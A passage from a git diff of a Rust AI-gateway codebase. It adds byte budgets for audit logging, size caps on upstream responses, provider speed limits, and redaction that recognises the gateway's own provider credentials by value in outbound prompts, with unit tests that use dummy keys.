         let tasks: Vec<_> = (0..permits * 4)
             .map(|_| {
                 tokio::spawn(on_blocking_pool(|| {
diff --git a/crates/common/Cargo.toml b/crates/common/Cargo.toml
index b196e8bc..ca37e675 100644
--- a/crates/common/Cargo.toml
+++ b/crates/common/Cargo.toml
@@ -48,3 +48,11 @@ aws-sigv4 = { workspace = true }
 aws-credential-types = { workspace = true }
 http_1x = { package = "http", version = "1" }
 async-trait = "0.1"
+http-body-util = { workspace = true }
+http-body = "1"
+sysinfo = { version = "0.36", default-features = false, features = ["system"] }
+
+[dev-dependencies]
+async-stream = { workspace = true }
+tempfile = "3"
+tower = { workspace = true, features = ["util"] }
diff --git a/crates/common/src/audit/forwarders.rs b/crates/common/src/audit/forwarders.rs
index 90023b4e..31a2dd14 100644
--- a/crates/common/src/audit/forwarders.rs
+++ b/crates/common/src/audit/forwarders.rs
@@ -202,7 +202,10 @@ pub(super) async fn send_kafka(
     if resp.status().is_success() {
         Ok(())
     } else {
-        let body = resp.text().await.unwrap_or_default();
+        let bytes = crate::resources::read_response(resp, 64 * 1024)
+            .await
+            .map_err(|e| e.to_string())?;
+        let body = String::from_utf8_lossy(&bytes);
         Err(format!("Kafka REST proxy returned error: {body}"))
     }
 }
@@ -300,7 +303,10 @@ pub(super) async fn send_webhook(
         Ok(resp) if resp.status().is_success() => Ok(()),
         Ok(resp) => {
             let status = resp.status();
-            let rtext = resp.text().await.unwrap_or_default();
+            let bytes = crate::resources::read_response(resp, 64 * 1024)
+                .await
+                .map_err(|e| e.to_string())?;
+            let rtext = String::from_utf8_lossy(&bytes);
             Err(format!("Webhook returned {status}: {rtext}"))
         }
         Err(e) => Err(format!("Webhook request failed: {e}")),
diff --git a/crates/common/src/audit/logger.rs b/crates/common/src/audit/logger.rs
index a0a194cd..df17df10 100644
--- a/crates/common/src/audit/logger.rs
+++ b/crates/common/src/audit/logger.rs
@@ -59,17 +59,15 @@ pub struct AuditLogger {
 
 /// Bounded audit channel capacity.
 ///
-/// At ~80 bytes per entry that's about 8 MB of in-memory backlog,
-/// which is fine for any reasonable host. 100k entries means a
-/// 30-second ClickHouse outage at 3k req/s still survives; drops
-/// are surfaced via a metric.
+/// Secondary count limit. Entries include captured bodies, so a separate
+/// process-wide byte budget is the primary memory bound, including retries.
 const AUDIT_CHANNEL_CAPACITY: usize = 100_000;
 
 /// Throttle window for the structured "audit drop" log line. The
 /// metric still increments on every drop, so dashboards see the
 /// real rate; the log is just for human inspection and one line
 /// per second is plenty.
-fn log_audit_drop_throttled(err: &tokio::sync::mpsc::error::TrySendError<AuditEntry>) {
+fn log_audit_drop_throttled(err: &impl std::fmt::Display) {
     use std::sync::atomic::{AtomicU64, Ordering};
     use std::time::{SystemTime, UNIX_EPOCH};
     static LAST_LOG_SECS: AtomicU64 = AtomicU64::new(0);
@@ -272,6 +270,8 @@ impl AuditLogger {
                         // the REMAINING capacity, so depth = total - capacity.
                         let depth = AUDIT_CHANNEL_CAPACITY.saturating_sub(tx_for_gauge.capacity());
                         metrics::gauge!("audit_log_queue_depth").set(depth as f64);
+                        metrics::gauge!("audit_log_buffered_bytes")
+                            .set(crate::resources::audit_budget().used() as f64);
                     }
                 }
             });
@@ -297,7 +297,7 @@ impl AuditLogger {
             .store(bps, std::sync::atomic::Ordering::Relaxed);
     }
 
-    pub fn log(&self, entry: AuditEntry) {
+    pub fn log(&self, mut entry: AuditEntry) {
         // Sampling: consult the atomic rate and skip the entry when a
         // uniform draw falls outside the keep window. A full keep
         // (10000) short-circuits the RNG so the hot path pays nothing
@@ -309,6 +309,12 @@ impl AuditLogger {
             metrics::counter!("audit_log_sampled_out_total").increment(1);
             return;
         }
+        if !entry.reserve_memory(crate::resources::audit_budget()) {
+            metrics::counter!("audit_log_dropped_total").increment(1);
+            metrics::counter!("audit_log_memory_dropped_total").increment(1);
+            log_audit_drop_throttled(&"audit byte budget occupied (queue and retained batches)");
+            return;
+        }
         if let Err(e) = self.tx.try_send(entry) {
             // Compliance signal: dropped audit entries are a real
             // operational incident, not a debug warning. Bump the
diff --git a/crates/common/src/audit/types.rs b/crates/common/src/audit/types.rs
index 61202580..212a6094 100644
--- a/crates/common/src/audit/types.rs
+++ b/crates/common/src/audit/types.rs
@@ -132,6 +132,10 @@ impl std::fmt::Display for BodyCaptureStatus {
 /// back out and feeds them into `send_webhook` again.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct AuditEntry {
+    /// Account for queued and retained data through its final clone. Never part
+    /// of ClickHouse rows or the durable webhook JSON contract.
+    #[serde(skip)]
+    memory: Option<std::sync::Arc<crate::resources::Reservation>>,
     pub id: String,
     #[serde(skip, default = "default_log_type")]
     pub log_type: LogType,
@@ -407,6 +411,7 @@ impl AuditEntry {
     )]
     pub fn new(action: impl Into<String>) -> Self {
         Self {
+            memory: None,
             id: Uuid::new_v4().to_string(),
             log_type: LogType::Audit,
             user_id: None,
@@ -430,6 +435,61 @@ impl AuditEntry {
         }
     }
 
+    pub(super) fn reserve_memory(
+        &mut self,
+        budget: &std::sync::Arc<crate::resources::ByteBudget>,
+    ) -> bool {
+        fn value_bytes(value: &serde_json::Value) -> usize {
+            use serde_json::Value;
+            match value {
+                Value::String(s) => s.capacity(),
+                Value::Array(values) => values
+                    .capacity()
+                    .saturating_mul(std::mem::size_of::<Value>())
+                    .saturating_add(values.iter().map(value_bytes).sum::<usize>()),
+                Value::Object(values) => values.iter().fold(0usize, |total, (key, value)| {
+                    total
+                        .saturating_add(key.capacity())
+                        .saturating_add(std::mem::size_of::<(String, Value)>() * 2)
+                        .saturating_add(value_bytes(value))
+                }),
+                _ => 0,
+            }
+        }
+        let strings = [
+            Some(&self.id),
+            Some(&self.action),
+            Some(&self.created_at),
+            self.user_id.as_ref(),
+            self.user_email.as_ref(),
+            self.api_key_id.as_ref(),
+            self.api_key_lineage_id.as_ref(),
+            self.resource.as_ref(),
+            self.resource_id.as_ref(),
+            self.ip_address.as_ref(),
+            self.user_agent.as_ref(),
+            self.trace_id.as_ref(),
+            self.session_id.as_ref(),
+            self.request_body.as_ref(),
+            self.response_body.as_ref(),
+            self.body_capture_status.as_ref(),
+        ];
+        let bytes = strings
+            .into_iter()
+            .flatten()
+            .fold(std::mem::size_of::<Self>(), |n, s| {
+                n.saturating_add(s.capacity())
+            })
+            .saturating_add(self.detail.as_ref().map_or(0, value_bytes));
+        // Flush mappers and forwarders temporarily clone/serialize one entry.
+        let mut lease = budget.reserve();
+        if !lease.grow(bytes.saturating_mul(2)) {
+            return false;
+        }
+        self.memory = Some(std::sync::Arc::new(lease));
+        true
+    }
+
     /// Create entry for gateway request logs.
     ///
     /// Bare constructor — same deprecation reasoning as `::new`. Use
@@ -680,3 +740,39 @@ mod tests {
         assert_eq!(decoded.detail, original.detail);
     }
 }
+
+#[cfg(test)]
+#[allow(deprecated)]
+mod memory_tests {
+    use super::*;
+    use crate::resources::ByteBudget;
+
+    #[test]
+    fn queue_and_retry_clones_retain_body_admission_without_changing_wire_json() {
+        let budget = ByteBudget::new(32 * 1024);
+        let mut entry = AuditEntry::new("tools.call").request_body("x".repeat(4096));
+        let before = serde_json::to_value(&entry).unwrap();
+        assert!(entry.reserve_memory(&budget));
+        assert!(budget.used() >= 8192);
+        assert_eq!(before, serde_json::to_value(&entry).unwrap());
+        let retained = entry.clone();
+        drop(entry);
+        assert!(budget.used() >= 8192);
+        drop(retained);
+        assert_eq!(budget.used(), 0);
+    }
+
+    #[test]
+    fn a_few_large_entries_hit_the_byte_limit_before_the_count_limit() {
+        let budget = ByteBudget::new(16 * 1024);
+        let mut first = AuditEntry::new("gateway").response_body("x".repeat(4096));
+        let mut second = first.clone();
+        assert!(first.reserve_memory(&budget));
+        let used = budget.used();
+        assert!(!second.reserve_memory(&budget));
+        assert_eq!(used, budget.used());
+        drop(first);
+        assert_eq!(budget.used(), 0);
+        assert!(second.reserve_memory(&budget));
+    }
+}
diff --git a/crates/common/src/blob_store.rs b/crates/common/src/blob_store.rs
index 5211d7a8..8a057190 100644
--- a/crates/common/src/blob_store.rs
+++ b/crates/common/src/blob_store.rs
@@ -378,8 +378,12 @@ impl S3Store {
             .await
             .map_err(|e| BlobError::Transport(e.to_string()))?;
         let status = resp.status();
-        let bytes = resp
-            .bytes()
+        let max = if status.is_success() {
+            crate::resources::policy().max_body_bytes
+        } else {
+            64 * 1024
+        };
+        let bytes = crate::resources::read_response(resp, max)
             .await
             .map_err(|e| BlobError::Transport(e.to_string()))?;
         if !status.is_success() {
diff --git a/crates/common/src/dto/mod.rs b/crates/common/src/dto/mod.rs
index 6e897009..e72c64a3 100644
--- a/crates/common/src/dto/mod.rs
+++ b/crates/common/src/dto/mod.rs
@@ -257,6 +257,15 @@ pub struct CreateProviderRequest {
     #[serde(default)]
     pub headers: Vec<ProviderHeader>,
     pub config: Option<serde_json::Value>,
+    /// Cut a stream that generates fewer tokens per second than this
+    /// (1–1000), averaged over `min_speed_window_secs`. Absent or `null`
+    /// ⇒ off.
+    #[serde(default)]
+    pub min_speed_tokens_per_sec: Option<i64>,
+    /// The window the speed is averaged over, in seconds (5–120).
+    /// Absent ⇒ 20.
+    #[serde(default)]
+    pub min_speed_window_secs: Option<i64>,
 }
 
 #[derive(Debug, Serialize, Deserialize, Clone, utoipa::ToSchema)]
diff --git a/crates/common/src/guard_policy/exceptions.rs b/crates/common/src/guard_policy/exceptions.rs
new file mode 100644
index 00000000..5094821c
--- /dev/null
+++ b/crates/common/src/guard_policy/exceptions.rs
@@ -0,0 +1,102 @@
+//! Exception values of outbound redaction (`security.redact.exceptions`):
+//! values that are never replaced or recorded, whichever rule finds them.
+//!
+//! They live in the redaction policy, as thinkwatch-core defines it
+//! (`tw_guard::policy::RedactException`): **the SHA-256 of each value and
+//! its masked form, never the value**. The value an admin pastes is hashed
+//! as soon as it arrives and goes no further.
+//!
+//! **They are edited only through their own endpoints**
+//! (`/api/admin/security/redact/exceptions`). The console writes the rest
+//! of the policy back whole, rebuilt from the rule view, and the view does
+//! not carry them: a policy written through the settings endpoint keeps the
+//! stored exceptions ([`keep_stored`]) rather than losing them.
+
+use serde_json::Value;
+use tw_guard::policy::RedactException;
+
+/// The exceptions a stored redaction policy holds. A policy that is
+/// missing, or whose exceptions cannot be read, holds none.
+pub fn stored(policy: Option<&Value>) -> Vec<RedactException> {
+    policy
+        .and_then(|p| p.get("exceptions"))
+        .and_then(|e| serde_json::from_value(e.clone()).ok())
+        .unwrap_or_default()
+}
+
+/// `policy` (a stored redaction policy, or none) with `list` as its
+/// exceptions; the field is left out when the list is empty, as the
+/// factory policy leaves it out. Everything else stays as stored.
+pub fn with_list(policy: Option<Value>, list: &[RedactException]) -> Value {
+    let mut policy = match policy {
+        Some(Value::Object(map)) => Value::Object(map),
+        _ => Value::Object(Default::default()),
+    };
+    let map = policy.as_object_mut().expect("an object, just made one");
+    if list.is_empty() {
+        map.remove("exceptions");
+    } else {
+        map.insert(
+            "exceptions".into(),
+            serde_json::to_value(list).expect("exceptions serialise"),
+        );
+    }
+    policy
+}
+
+/// A redaction policy about to be saved through the settings endpoint,
+/// with the exceptions `stored` holds instead of whatever it carries.
+pub fn keep_stored(incoming: Value, stored_policy: Option<&Value>) -> Value {
+    match incoming {
+        Value::Object(_) => with_list(Some(incoming), &stored(stored_policy)),
+        // Not an object: validation refuses it as it is.
+        other => other,
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use serde_json::json;
+
+    fn one(sha: char) -> RedactException {
+        RedactException {
+            sha256: sha.to_string().repeat(64),
+            masked: "sk-an…7f9c".into(),
+            rule: "anthropic-api-key".into(),
+            added_at: 1,
+        }
+    }
+
+    #[test]
+    fn a_settings_write_keeps_the_stored_exceptions() {
+        let stored_policy = with_list(Some(json!({"mode": "observe"})), &[one('a')]);
+        assert_eq!(stored(Some(&stored_policy)), [one('a')]);
+        // The console writes the policy without them, or with others.
+        for incoming in [
+            json!({"mode": "enforce"}),
+            json!({"mode": "enforce", "exceptions": [one('b')]}),
+            json!({"mode": "enforce", "exceptions": []}),
+        ] {
+            let kept = keep_stored(incoming, Some(&stored_policy));
+            assert_eq!(kept["mode"], "enforce");
+            assert_eq!(stored(Some(&kept)), [one('a')]);
+        }
+        // Nothing stored: none come in either.
+        let kept = keep_stored(json!({"exceptions": [one('b')]}), None);
+        assert!(kept.get("exceptions").is_none(), "{kept}");
+        // Not an object: left for validation to refuse.
+        assert_eq!(keep_stored(json!([]), Some(&stored_policy)), json!([]));
+    }
+
+    #[test]
+    fn an_empty_list_leaves_the_field_out_and_the_rest_as_stored() {
+        let p = with_list(
+            Some(json!({"mode": "enforce", "disable": ["jwt"], "exceptions": [one('a')]})),
+            &[],
+        );
+        assert_eq!(p, json!({"mode": "enforce", "disable": ["jwt"]}));
+        assert_eq!(with_list(None, &[]), json!({}));
+        assert!(stored(Some(&json!({"exceptions": "not a list"}))).is_empty());
+    }
+}
diff --git a/crates/common/src/guard_policy/legacy.rs b/crates/common/src/guard_policy/legacy.rs
index 3480a2a8..d5a15156 100644
--- a/crates/common/src/guard_policy/legacy.rs
+++ b/crates/common/src/guard_policy/legacy.rs
@@ -508,11 +508,13 @@ pub fn redact(patterns: Option<&Value>) -> RedactPolicy {
             }
         }
     }
-    // Personal data is redacted only where the list asked for it. The
-    // credential rules are not personal data and stay on.
+    // The personal data the old list could express (the seeded patterns'
+    // rules) is redacted only where the list asked for it. Credential
+    // rules are not personal data and stay on; personal rules the old
+    // list never knew run as they ship.
     for b in tw_guard::redact::rules::BUILTINS
         .iter()
-        .filter(|b| b.kind == tw_guard::redact::rules::Kind::Personal)
+        .filter(|b| b.kind.is_personal() && SEEDED_PII.iter().any(|(_, _, id)| *id == b.id))
     {
         match (covered.contains(b.id), b.on_by_default) {
             (true, false) => policy.enable.push(b.id.to_string()),
diff --git a/crates/common/src/guard_policy/mod.rs b/crates/common/src/guard_policy/mod.rs
index e3f933a8..876ebd7c 100644
--- a/crates/common/src/guard_policy/mod.rs
+++ b/crates/common/src/guard_policy/mod.rs
@@ -29,7 +29,9 @@ use tw_guard::redact::rules::RuleSet;
 
 use crate::dynamic_config::DynamicConfig;
 
+pub mod exceptions;
 pub mod legacy;
+pub mod saved;
 
 /// The settings key a guard's policy is stored under.
 pub fn key(guard: Guard) -> &'static str {
diff --git a/crates/common/src/guard_policy/saved.rs b/crates/common/src/guard_policy/saved.rs
new file mode 100644
index 00000000..c7886bdb
--- /dev/null
+++ b/crates/common/src/guard_policy/saved.rs
@@ -0,0 +1,323 @@
+//! Saved secrets: the credentials this gateway holds for its providers,
+//! which outbound redaction recognises by value (the built-in rule
+//! `thinkwatch-saved-secret`).
+//!
+//! Many providers' keys have no prefix to recognise them by — a 32-digit
+//! hex string, a UUID — yet the gateway knows each one exactly, because it
+//! sends them. A caller pasting one into a prompt is caught whatever its
+//! shape. The security log names the provider whose key it was, never any
+//! part of the value.
+//!
+//! The list is collected from the providers whenever they are loaded
+//! (startup, every provider CRUD, and the cross-instance reload), and the
+//! guards are recompiled with it; see `think_watch_server::app`.
+
+use std::fmt;
+use std::sync::Arc;
+
+use tw_guard::redact::rules::{
+    RuleSet, SAVED_MIN_CHARS, Saved, SavedSecret, SavedSource, SavedSourceKind,
+};
+
+/// Values shorter than this are not matched: a short value is too likely
+/// to occur by chance. thinkwatch-core's floor.
+pub const MIN_LEN: usize = SAVED_MIN_CHARS;
+
+/// Header names whose value is a credential: `authorization`, `x-api-key`,
+/// `api-key`, `x-goog-api-key`, and any custom header that says it carries
+/// a key, token, secret or password. Other headers a provider sends
+/// (`anthropic-version`, `content-type`) are configuration, not secrets,
+/// and matching their values would flag every request that mentions them.
+fn credential_header(name: &str) -> bool {
+    let name = name.to_ascii_lowercase();
+    ["auth", "key", "token", "secret", "password"]
+        .iter()
+        .any(|w| name.contains(w))
+}
+
+/// The credential in a header value: the token after an auth scheme
+/// (`Bearer sk-…` → `sk-…`), or the whole value.
+fn credential_value(value: &str) -> &str {
+    let value = value.trim();
+    match value.split_once(' ') {
+        Some((scheme, token))
+            if !scheme.is_empty()
+                && scheme.chars().all(|c| c.is_ascii_alphabetic())
+                && !token.trim().is_empty()
+                && !token.trim().contains(' ') =>
+        {
+            token.trim()
+        }
+        _ => value,
+    }
+}
+
+/// One provider credential.
+#[derive(Clone, PartialEq, Eq)]
+pub struct UpstreamSecret {
+    /// The provider's name, as the security log names the source.
+    pub provider: String,
+    pub value: String,
+    /// The host of the provider's base URL: the credential's own
+    /// destination, which dangerous commands' "credential sent to an
+    /// unknown host" does not count as sending it out. `None` when the
+    /// provider has no base URL to read one from.
+    pub host: Option<String>,
+}
+
+impl fmt::Debug for UpstreamSecret {
+    /// Never the value: this ends up in logs.
+    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
+        f.debug_struct("UpstreamSecret")
+            .field("provider", &self.provider)
+            .field("host", &self.host)
+            .finish_non_exhaustive()
+    }
+}
+
+/// What a provider holds, decrypted, for [`SavedSecrets::of_provider`].
+#[derive(Debug, Clone, Copy)]
+pub struct ProviderCredentials<'a> {
+    pub name: &'a str,
+    pub base_url: &'a str,
+    /// The headers sent upstream, `(name, value)`.
+    pub headers: &'a [(String, String)],
+    /// A Bedrock provider's stored secret access key.
+    pub aws_secret_access_key: Option<&'a str>,
+}
+
+/// Every provider credential, each value once, and the same list compiled
+/// for matching (thinkwatch-core's [`Saved`]), shared by outbound
+/// redaction, the at-rest redactor, dangerous commands and the console's
+/// trial.
+#[derive(Clone, Default)]
+pub struct SavedSecrets {
+    list: Vec<UpstreamSecret>,
+    compiled: Option<Arc<Saved>>,
+}
+
+impl PartialEq for SavedSecrets {
+    /// The same credentials: the compiled form follows from the list.
+    fn eq(&self, other: &Self) -> bool {
+        self.list == other.list
+    }
+}
+
+impl Eq for SavedSecrets {}
+
+impl fmt::Debug for SavedSecrets {
+    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
+        f.debug_struct("SavedSecrets")
+            .field("list", &self.list)
+            .finish_non_exhaustive()
+    }
+}
+
+impl SavedSecrets {
+    /// The credentials of these providers. A value shorter than
+    /// [`MIN_LEN`] is left out; a value two providers share is kept once,
+    /// under the first.
+    pub fn collect<'a>(providers: impl IntoIterator<Item = ProviderCredentials<'a>>) -> Self {
+        let mut list: Vec<UpstreamSecret> = Vec::new();
+        for p in providers {
+            let host = url::Url::parse(p.base_url)
+                .ok()
+                .and_then(|u| u.host_str().map(str::to_ascii_lowercase));
+            let values = p
+                .headers
+                .iter()
+                .filter(|(name, _)| credential_header(name))
+                .map(|(_, value)| credential_value(value))
+                .chain(p.aws_secret_access_key.map(str::trim));
+            for value in values {
+                if value.chars().count() < MIN_LEN || list.iter().any(|s| s.value == value) {
+                    continue;
+                }
+                list.push(UpstreamSecret {
+                    provider: p.name.to_string(),
+                    value: value.to_string(),
+                    host: host.clone(),
+                });
+            }
+        }
+        let compiled = Saved::new(
+            list.iter()
+                .map(|s| SavedSecret {
+                    value: s.value.clone(),
+                    source: SavedSource {
+                        kind: SavedSourceKind::UpstreamKey,
+                        name: s.provider.clone(),
+                    },
+                    hosts: s.host.iter().cloned().collect(),
+                })
+                .collect(),
+        )
+        .map(Arc::new);
+        Self { list, compiled }
+    }
+
+    /// The list compiled for matching; `None` when there is none.
+    pub fn compiled(&self) -> Option<Arc<Saved>> {
+        self.compiled.clone()
+    }
+
+    pub fn is_empty(&self) -> bool {
+        self.list.is_empty()
+    }
+
+    pub fn len(&self) -> usize {
+        self.list.len()
+    }
+
+    pub fn iter(&self) -> impl Iterator<Item = &UpstreamSecret> {
+        self.list.iter()
+    }
+}
+
+/// `rules` with the saved secrets added, recognised by value. **The one
+/// place the saved secrets reach the rule set.** Every rule set gets the
+/// same compiled list rather than compiling its own.
+pub fn with_saved(rules: RuleSet, saved: &SavedSecrets) -> RuleSet {
+    rules.with_saved_set(saved.compiled())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn h(name: &str, value: &str) -> (String, String) {
+        (name.to_string(), value.to_string())
+    }
+
+    fn provider<'a>(
+        name: &'a str,
+        base_url: &'a str,
+        headers: &'a [(String, String)],
+    ) -> ProviderCredentials<'a> {
+        ProviderCredentials {
+            name,
+            base_url,
+            headers,
+            aws_secret_access_key: None,
+        }
+    }
+
+    #[test]
+    fn credential_headers_are_collected_and_configuration_headers_are_not() {
+        let headers = [
+            h("x-api-key", "test-anthropic-key-0123456789"),
+            h("anthropic-version", "2023-06-01-long-enough"),
+            h("Content-Type", "application/json"),
+        ];
+        let s =
+            SavedSecrets::collect([provider("claude", "https://API.anthropic.com/v1", &headers)]);
+        let got: Vec<(&str, &str, Option<&str>)> = s
+            .iter()
+            .map(|s| (s.provider.as_str(), s.value.as_str(), s.host.as_deref()))
+            .collect();
+        assert_eq!(
+            got,
+            [(
+                "claude",
+                "test-anthropic-key-0123456789",
+                Some("api.anthropic.com")
+            )]
+        );
+    }
+
+    #[test]
+    fn the_auth_scheme_is_not_part_of_the_value() {
+        let headers = [
+            h("Authorization", "Bearer test-deepseek-key-abcdef"),
+            h("X-Custom-Token", "  test-custom-token-123456  "),
+            h("api-key", "test-azure-key-0123456789"),
+            h("x-goog-api-key", "test-google-key-0123456789"),
+        ];
+        let s = SavedSecrets::collect([provider("deepseek", "https://api.deepseek.com", &headers)]);
+        let values: Vec<&str> = s.iter().map(|s| s.value.as_str()).collect();
+        assert_eq!(
+            values,
+            [
+                "test-deepseek-key-abcdef",
+                "test-custom-token-123456",
+                "test-azure-key-0123456789",
+                "test-google-key-0123456789",
+            ]
+        );
+    }
+
+    #[test]
+    fn short_values_empty_values_and_duplicates_are_left_out() {
+        let a = [
+            h("Authorization", "Bearer "),
+            h("x-api-key", "short-key"),
+            h("x-api-key", "test-shared-key-0123456789"),
+        ];
+        let b = [h("Authorization", "Bearer test-shared-key-0123456789")];
+        let s = SavedSecrets::collect([
+            provider("first", "https://one.example.com", &a),
+            provider("second", "https://two.example.com", &b),
+        ]);
+        assert_eq!(s.len(), 1);
+        let only = s.iter().next().unwrap();
+        assert_eq!(only.provider, "first", "kept under the first provider");
+    }
+
+    #[test]
+    fn a_bedrock_secret_access_key_is_collected() {
+        let s = SavedSecrets::collect([ProviderCredentials {
+            name: "bedrock",
+            base_url: "",
+            headers: &[],
+            aws_secret_access_key: Some("test/secret+access/key0123456789"),
+        }]);
+        let only = s.iter().next().unwrap();
+        assert_eq!(only.value, "test/secret+access/key0123456789");
+        assert_eq!(only.host, None, "no base URL, no host");
+    }
+
+    #[test]
+    fn debug_never_shows_the_value() {
+        let headers = [h("x-api-key", "test-hidden-key-0123456789")];
+        let s = SavedSecrets::collect([provider("p", "https://p.example.com", &headers)]);
+        let shown = format!("{s:?}");
+        assert!(!shown.contains("test-hidden-key"), "{shown}");
+        assert!(shown.contains("p.example.com"), "{shown}");
+    }
+
+    #[test]
+    fn the_rules_find_a_saved_key_and_name_its_provider() {
+        let a = [h("x-api-key", "test-alpha-key-0123456789")];
+        let b = [h("x-api-key", "test\"beta\\key-0123456789")];
+        let s = SavedSecrets::collect([
+            provider("alpha", "https://a.example.com", &a),
+            provider("beta", "https://b.example.com", &b),
+        ]);
+        let rules = with_saved(RuleSet::only(&["thinkwatch-saved-secret"]), &s);
+        // As written, and JSON-escaped in a request body.
+        let text = r#"{"content":"use test-alpha-key-0123456789 and test\"beta\\key-0123456789"}"#;
+        let hits = tw_guard::redact::rules::scan(text, &rules);
+        let found = tw_guard::redact::rules::findings_in(text, &hits, &rules);
+        let named: Vec<(&str, &str)> = found
+            .iter()
+            .map(|f| {
+                let src = f.source.as_ref().expect("a saved key names its source");
+                (f.rule.id(), src.name.as_str())
+            })
+            .collect();
+        assert_eq!(
+            named,
+            [
+                ("thinkwatch-saved-secret", "alpha"),
+                ("thinkwatch-saved-secret", "beta")
+            ]
+        );
+        assert!(found.iter().all(|f| f.masked.is_empty()), "{found:?}");
+    }
+
+    #[test]
+    fn no_saved_secrets_leaves_the_rules_as_they_are() {
+        let rules = with_saved(RuleSet::only(&["jwt"]), &SavedSecrets::default());
+        assert!(rules.is_on("jwt") && !rules.is_on("anthropic-api-key"));
+    }
+}
diff --git a/crates/common/src/lib.rs b/crates/common/src/lib.rs
index 334950bd..495963c5 100644
--- a/crates/common/src/lib.rs
+++ b/crates/common/src/lib.rs
@@ -43,6 +43,7 @@ pub mod clickhouse_client;
 pub mod cost_decimal; // Decimal ↔ raw i64/i128 helpers for CH Decimal(18, 10) columns
 pub mod lifecycle; // Surface-agnostic request pipeline (see lifecycle::mod docs)
 pub mod limits; // rate-limit & budget evaluation
+pub mod resources; // automatic CPU admission and process-wide byte budgets
 
 // --- Utilities ---
 pub mod crypto; // AES-256-GCM envelope for secrets at rest
diff --git a/crates/common/src/models/provider.rs b/crates/common/src/models/provider.rs
index cc02a0e7..7b087269 100644
--- a/crates/common/src/models/provider.rs
+++ b/crates/common/src/models/provider.rs
@@ -15,6 +15,12 @@ pub struct Provider {
     pub config_json: serde_json::Value,
     pub created_at: DateTime<Utc>,
     pub deleted_at: Option<DateTime<Utc>>,
+    /// The slowest generation a stream from this upstream may keep up,
+    /// in tokens per second (1–1000), averaged over the last
+    /// `min_speed_window_secs` seconds (5–120). `None` ⇒ off. See
+    /// `think_watch_gateway::proxy::min_speed`.
+    pub min_speed_tokens_per_sec: Option<i32>,
+    pub min_speed_window_secs: i32,
 }
 
 #[derive(Debug, Clone, Serialize, Deserialize, FromRow)]
diff --git a/crates/common/src/pii.rs b/crates/common/src/pii.rs
index b80d79e3..c222fbca 100644
--- a/crates/common/src/pii.rs
+++ b/crates/common/src/pii.rs
@@ -20,6 +20,8 @@ use std::sync::Arc;
 use tw_guard::policy::RedactPolicy;
 use tw_guard::redact::rules::RuleSet;
 
+use crate::guard_policy::saved::SavedSecrets;
+
 /// Replace every match in `input` with `{{REDACTED_<rule>}}` — the
 /// built-in rule's id or the custom rule's name. Nothing is kept to restore
 /// them: the result is write-only audit data.
@@ -104,7 +106,7 @@ pub struct BlobRedactor {
 impl Default for BlobRedactor {
     /// The factory policy's rules.
     fn default() -> Self {
-        Self::from_policy(&RedactPolicy::default())
+        Self::from_policy(&RedactPolicy::default(), &SavedSecrets::default())
     }
 }
 
@@ -115,9 +117,14 @@ impl std::fmt::Debug for BlobRedactor {
 }
 
 impl BlobRedactor {
-    pub fn from_policy(policy: &RedactPolicy) -> Self {
+    /// The policy's rules, and the providers' credentials recognised by
+    /// value.
+    pub fn from_policy(policy: &RedactPolicy, saved: &SavedSecrets) -> Self {
         Self {
-            rules: Arc::new(crate::guard_policy::redact_rules(policy)),
+            rules: Arc::new(crate::guard_policy::saved::with_saved(
+                crate::guard_policy::redact_rules(policy),
+                saved,
+            )),
         }
     }
 
@@ -220,22 +227,25 @@ mod tests {
             "key {{REDACTED_anthropic-api-key}}"
         );
 
-        let r = BlobRedactor::from_policy(&RedactPolicy {
-            disable: tw_guard::redact::rules::BUILTINS
-                .iter()
-                .map(|b| b.id.to_string())
-                .collect(),
-            custom: vec![CustomRedactRule {
-                name: "project".into(),
-                pattern: r"PRJ-\d{6}".into(),
-                matching: tw_guard::policy::ContentMatch::Regex,
-                case_sensitive: true,
-                label: None,
-                action: Default::default(),
-                disabled: false,
-            }],
-            ..Default::default()
-        });
+        let r = BlobRedactor::from_policy(
+            &RedactPolicy {
+                disable: tw_guard::redact::rules::BUILTINS
+                    .iter()
+                    .map(|b| b.id.to_string())
+                    .collect(),
+                custom: vec![CustomRedactRule {
+                    name: "project".into(),
+                    pattern: r"PRJ-\d{6}".into(),
+                    matching: tw_guard::policy::ContentMatch::Regex,
+                    case_sensitive: true,
+                    label: None,
+                    action: Default::default(),
+                    disabled: false,
+                }],
+                ..Default::default()
+            },
+            &SavedSecrets::default(),
+        );
         assert_eq!(
             r.redact_blob(&format!("{key} PRJ-123456")),
             format!("{key} {{{{REDACTED_project}}}}")
diff --git a/crates/common/src/resources.rs b/crates/common/src/resources.rs
new file mode 100644
index 00000000..5f8b3987
--- /dev/null
+++ b/crates/common/src/resources.rs
@@ -0,0 +1,475 @@
+//! Resource admission shared by AI, MCP, authentication and audit dispatch.
+//! Limits describe this process (including cgroups), never the host alone.
+//! Byte reservations survive cancellation, shared buffers and audit retries.
+
+use std::sync::{Arc, Mutex, OnceLock};
+use std::time::Duration;
+
+use bytes::Bytes;
+use tokio::sync::{OwnedSemaphorePermit, Semaphore};
+
+#[cfg(any(target_os = "linux", test))]
+mod cgroup;
+pub mod http;
+
+const MIB: usize = 1024 * 1024;
+// Compact JSON arrays can use many times their wire size as Value nodes. This
+// also covers conversion/capture copies rather than budgeting raw bytes alone.
+pub const BODY_HEADROOM: usize = 32;
+pub const IDLE_TIMEOUT: Duration = Duration::from_secs(10);
+
+#[derive(Debug)]
+pub struct Policy {
+    pub io_workers: usize,
+    pub cpu_jobs: usize,
+    pub argon_jobs: usize,
+    pub body_bytes: usize,
+    pub audit_bytes: usize,
+    pub max_body_bytes: usize,
+}
+
+impl Policy {
+    fn for_machine(cpus: usize, memory: u64) -> Self {
+        let memory = usize::try_from(memory).unwrap_or(usize::MAX);
+        let cpus = cpus.max(1);
+        let body_bytes = (memory / 4).clamp(8 * MIB, 8 * 1024 * MIB);
+        Self {
+            io_workers: cpus.min(8),
+            cpu_jobs: cpus.min((memory / (128 * MIB)).max(1)),
+            // Argon2's 19 MiB workspace, allocator headroom, and at most 1/8
+            // of the process allowance. CPU admission is shared with scanning.
+            argon_jobs: cpus.min((memory / 8 / (32 * MIB)).max(1)),
+            body_bytes,
+            audit_bytes: (memory / 16).clamp(2 * MIB, 128 * MIB),
+            max_body_bytes: (body_bytes / BODY_HEADROOM).min(64 * MIB),
+        }
+    }
